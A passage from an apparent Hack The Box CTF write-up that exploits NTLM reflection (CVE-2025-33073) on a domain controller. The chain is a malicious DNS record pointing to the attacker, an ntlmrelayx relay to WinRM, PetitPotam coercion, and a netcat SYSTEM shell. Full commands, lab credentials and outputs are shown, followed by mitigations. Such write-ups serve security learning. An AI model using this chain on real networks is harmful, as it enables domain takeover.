netexec confirms the host is vulnerable to NTLM reflection. The probe authenticates as SIGNED\mssqlsvc and reports VULNERABLE (can relay SMB to other protocols except SMB on 127.0.0.1) — meaning SMB signing prevents local-to-local SMB relaying, but NTLM responses can still be reflected/relayed to other services (HTTP, MSSQL, etc.), enabling lateral movement or privilege escalation.

1
2
3
4
5
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ proxychains4 -q netexec smb 127.0.0.1 -u mssqlsvc -p 'purPLE9795!@' -M ntlm_reflection
SMB         127.0.0.1       445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:SIGNED.HTB) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         127.0.0.1       445    DC01             [+] SIGNED.HTB\mssqlsvc:purPLE9795!@ 
NTLM_REF... 127.0.0.1       445    DC01             VULNERABLE (can relay SMB to other protocols except SMB on 127.0.0.1)  

NTLM Reflection Exploitation

Further reading: Wilfried Bécard & Guillaume André — NTLM reflection is dead, long live NTLM reflection! in-depth analysis of CVE-2025-33073.

To exploit NTLM reflection, we’ll create a malicious DNS entry, start a relay listener, coerce authentication, and finally gain a SYSTEM shell through WinRM.

Step 1 — Install the Latest Impacket

1
2
3
4
5
6
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ pipx install git+https://github.com/fortra/impacket.git
  installed package impacket 0.13.0.dev0+20251002.113829.eaf2e556, installed using Python 3.13.7
  These apps are now globally available
    - wmiquery.py
done! ✨ 🌟 ✨

We install the latest Impacket version, because earlier builds did not support WinRM relay. The development version ensures ntlmrelayx.py can successfully relay NTLM authentication to WinRM, which is critical for this attack chain.

Step 2 — Add a Malicious DNS Record

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ proxychains4 -q python3 krbrelayx/dnstool.py -u 'SIGNED.HTB\mssqlsvc' -p 'purPLE9795!@' DC01.SIGNED.HTB -a 'add' -r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' -d '10.10.14.166' -dns-ip 127.0.0.1 --tcp
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding extra record
[+] LDAP operation completed successfully

We use dnstool.py to add a malicious DNS A record named localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.signed.htb, pointing to our IP 10.10.14.166.

Windows normally blocks NTLM reflection (relaying captured authentication back to the same host) using a loopback check: if the target hostname resolves to a local address (127.0.0.1, ::1, or the host’s own IP), the relay is blocked. CVE-2025-33073 bypasses this by registering a DNS record whose name starts with localhost but points to an external IP. The target resolves the hostname to the attacker’s IP, but the loopback check sees the “localhost” prefix in the name and incorrectly permits the relay. When PetitPotam coerces DC01$ to authenticate to this hostname, the NTLM negotiation arrives at our ntlmrelayx listener instead of looping back locally.

Step 3 — Verify the DNS Record

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~/HTB/Signed]
└─$  proxychains4 -q dig localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.signed.htb @DC01.SIGNED.HTB +tcp


; <<>> DiG 9.20.11-4+b1-Debian <<>> localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.signed.htb @DC01.SIGNED.HTB +tcp
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 50272
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.signed.htb. IN A

;; ANSWER SECTION:
localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.signed.htb. 180 IN A 10.129.125.195

;; Query time: 200 msec
;; SERVER: 10.129.125.195#53(DC01.SIGNED.HTB) (TCP)
;; WHEN: Wed Oct 15 19:26:21 PKT 2025
;; MSG SIZE  rcvd: 109

We verify that the DNS record has been successfully added by resolving it directly against the domain controller (DC01). A correct A record response confirms that coercion will reach our attack host.

Step 4 — Start NTLMRelayX Listener

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ proxychains4 -q ntlmrelayx.py -t winrms://DC01.SIGNED.HTB -smb2support
Impacket v0.13.0.dev0+20251002.113829.eaf2e556 - Copyright Fortra, LLC and its affiliated companies 

[*] Protocol Client WINRMS loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Setting up WinRM (HTTP) Server on port 5985
[*] Setting up WinRMS (HTTPS) Server on port 5986
[*] Setting up RPC Server on port 135
[*] Multirelay disabled

[*] Servers started, waiting for connections

We start NTLMRelayX with the WinRM target. ntlmrelayx captures the incoming NTLM negotiation from the coerced host and replays it to the target WinRM service. Since the coerced authentication comes from DC01$ (the computer account), and computer accounts have local Administrator privileges on their own host, the relayed authentication grants a SYSTEM shell on the DC. The -smb2support flag ensures compatibility with modern SMB dialect negotiation.

Step 5 — Confirm Reflection Vulnerability

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[/tmp/NetExec/nxc]
└─$ netexec smb 240.0.0.1 -u mssqlsvc -p 'purPLE9795!@' -d signed.htb -M coerce_plus    
SMB         240.0.0.1       445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:SIGNED.HTB) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         240.0.0.1       445    DC01             [+] signed.htb\mssqlsvc:purPLE9795!@ 
COERCE_PLUS 240.0.0.1       445    DC01             VULNERABLE, DFSCoerce
COERCE_PLUS 240.0.0.1       445    DC01             VULNERABLE, PetitPotam
COERCE_PLUS 240.0.0.1       445    DC01             VULNERABLE, PrinterBug
COERCE_PLUS 240.0.0.1       445    DC01             VULNERABLE, PrinterBug
COERCE_PLUS 240.0.0.1       445    DC01             VULNERABLE, MSEven
                      

This confirms that NTLM reflection is indeed possible and that the server is vulnerable to multiple coercion methods (PetitPotam, DFSCoerce, PrinterBug, etc.). That means our relay will work successfully.

Step 6 — Coerce Authentication from the Target

1
2
3
4
5
6
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ proxychains4 -q nxc smb 127.0.0.1 -u mssqlsvc -p 'purPLE9795!@' -M coerce_plus -o LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA METHOD=PetitPotam
SMB         127.0.0.1       445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:SIGNED.HTB) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         127.0.0.1       445    DC01             [+] SIGNED.HTB\mssqlsvc:purPLE9795!@ 
COERCE_PLUS 127.0.0.1       445    DC01             VULNERABLE, PetitPotam
COERCE_PLUS 127.0.0.1       445    DC01             Exploit Success, efsrpc\EfsRpcAddUsersToFile                         

We use NetExec’s coerce_plus module to trigger PetitPotam against the DC. This does not send hashes — it forces the Domain Controller to perform an outbound authentication to our malicious DNS name. That outbound authentication is captured by ntlmrelayx and relayed to the configured target (WinRM), which results in an opened WinRM session on the relay host.

Step 7 — Successful Relay and SYSTEM Shell

Once coercion triggers, NTLMRelayX will show:

1
2
3
4
5
6
7
8
9
10
11
[*] (SMB): Received connection from 10.129.125.195, attacking target winrms://DC01.SIGNED.HTB
[!] The client requested signing, relaying to WinRMS might not work!
[*] HTTP server returned error code 500, this is expected, treating as a successful login
[*] (SMB): Authenticating connection from /@10.129.125.195 against winrms://DC01.SIGNED.HTB SUCCEED [1]
[*] winrms:///@dc01.signed.htb [1] -> Started interactive WinRMS shell via TCP on 127.0.0.1:11000
[*] (SMB): Received connection from 10.129.125.195, attacking target winrms://DC01.SIGNED.HTB
[!] The client requested signing, relaying to WinRMS might not work!
[*] HTTP server returned error code 500, this is expected, treating as a successful login
[*] (SMB): Authenticating connection from /@10.129.125.195 against winrms://DC01.SIGNED.HTB SUCCEED [2]
[*] winrms:///@dc01.signed.htb [2] -> Started interactive WinRMS shell via TCP on 127.0.0.1:11001

This confirms that authentication was relayed successfully and NTLMRelayX has spawned a SYSTEM shell accessible locally over TCP.

Step 8 — Connect to the SYSTEM Shell

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ nc 127.0.0.1 11000

# whoami
nt authority\system

# cd C:\Users\Administrator\Desktop\
# pwd
# type C:\Users\Administrator\Desktop\root.txt
**********07ed833d3e58b41523e605
# 

Connecting to the local port via netcat gives us a SYSTEM-level shell on the Domain Controller.

Mitigations & Security Recommendations

  1. Harden Microsoft SQL Server Configuration:
    • Restrict or disable dangerous stored procedures (such as xp_cmdshell, xp_dirtree, and xp_fileexist) that can be used to execute OS commands or force outbound SMB authentication.
    • Configure the SQL Server service account using a Group Managed Service Account (gMSA). gMSAs have automatically managed, complex passwords that cannot be easily cracked offline.
  2. Defend Against Kerberos Silver Ticket Attacks:
    • Upgrade Active Directory domain configurations to disable RC4-HMAC encryption for Kerberos and enforce AES256 encryption.
    • Install all Windows security updates to enforce PAC signature validation (which prevents forging arbitrary group SIDs like 1105 in tickets).
  3. Block NTLM Reflection and Local Loopback Bypasses (CVE-2025-33073):
    • Keep all Domain Controllers and Windows Servers patched to address local NTLM reflection and loopback authentication bypasses.
    • Limit Active Directory DNS permissions. Standard users or service accounts (like mssqlsvc) should not have permissions to dynamically register arbitrary DNS records (especially those mimicking localhost prefixes).
  4. Prevent Authentication Coercion:
    • Disable unused network protocols and services that are vulnerable to coercion, such as MS-EFSR (PetitPotam), MS-RPRN (PrinterBug), and WebDAV.
    • Enforce Extended Protection for Authentication (EPA) for Windows Remote Management (WinRM) and Web Services on Windows hosts to protect against NTLM relaying.
This post is licensed under CC BY 4.0 by the author.